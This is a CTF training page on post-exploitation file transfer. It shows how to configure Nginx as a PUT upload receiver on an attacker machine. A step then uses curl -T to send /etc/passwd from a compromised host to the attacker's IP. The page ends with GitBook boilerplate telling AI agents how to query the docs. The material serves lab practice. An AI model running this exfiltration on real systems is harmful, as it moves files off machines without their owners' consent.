> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/catching-files-over-https-nginx.md).

# Catching files over https-Nginx

Use this page when you want a more stable HTTP `PUT` receiver on the attacker.

This flow has two sides:

* **Attacker** — set up Nginx to receive uploads.
* **Compromised host** — push the file with `curl -T`.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the machine you already accessed.
{% endhint %}

### Why Nginx instead of Python `uploadserver`

Python `uploadserver` is fine for quick use.

Nginx is better when you want a more stable setup.

* More stable for large files
* Less likely to crash
* PHP is not enabled by default
* Apache is easier to misconfigure into executing uploads

### Full setup — Nginx `PUT` upload server

#### Step 1 — Attacker — create the upload directory

```bash
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
```

`www-data` is the user Nginx runs as.

It needs write access to the directory.

#### Step 2 — Attacker — create the Nginx config

```bash
# Create /etc/nginx/sites-available/upload.conf
server {
    listen 9001;

    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

* `listen 9001` — run on port `9001`
* `dav_methods PUT` — allow HTTP `PUT`
* `root /var/www/uploads` — save files under that path

#### Step 3 — Attacker — enable the config and start Nginx

```bash
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo systemctl restart nginx.service
```

The symlink makes Nginx load the site from `sites-enabled`.

#### Step 4 — Attacker — fix the default port `80` conflict if needed

```bash
# Check what's using port 80
tail -2 /var/log/nginx/error.log
ss -lnpt | grep 80

# Fix — remove default Nginx config that binds port 80
sudo rm /etc/nginx/sites-enabled/default
sudo systemctl restart nginx.service
```

On Pwnbox, port `80` is often already used by the VNC websocket service.

Removing the default config usually fixes it.

#### Step 5 — Compromised host — upload a file with `curl PUT`

```bash
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
```

`-T` uploads the file with HTTP `PUT`.

The file lands at `/var/www/uploads/SecretUploadDirectory/users.txt`.

For a real remote transfer, replace `localhost` with the attacker's IP or hostname.

#### Step 6 — Attacker — verify the file arrived

```bash
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/catching-files-over-https-nginx.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
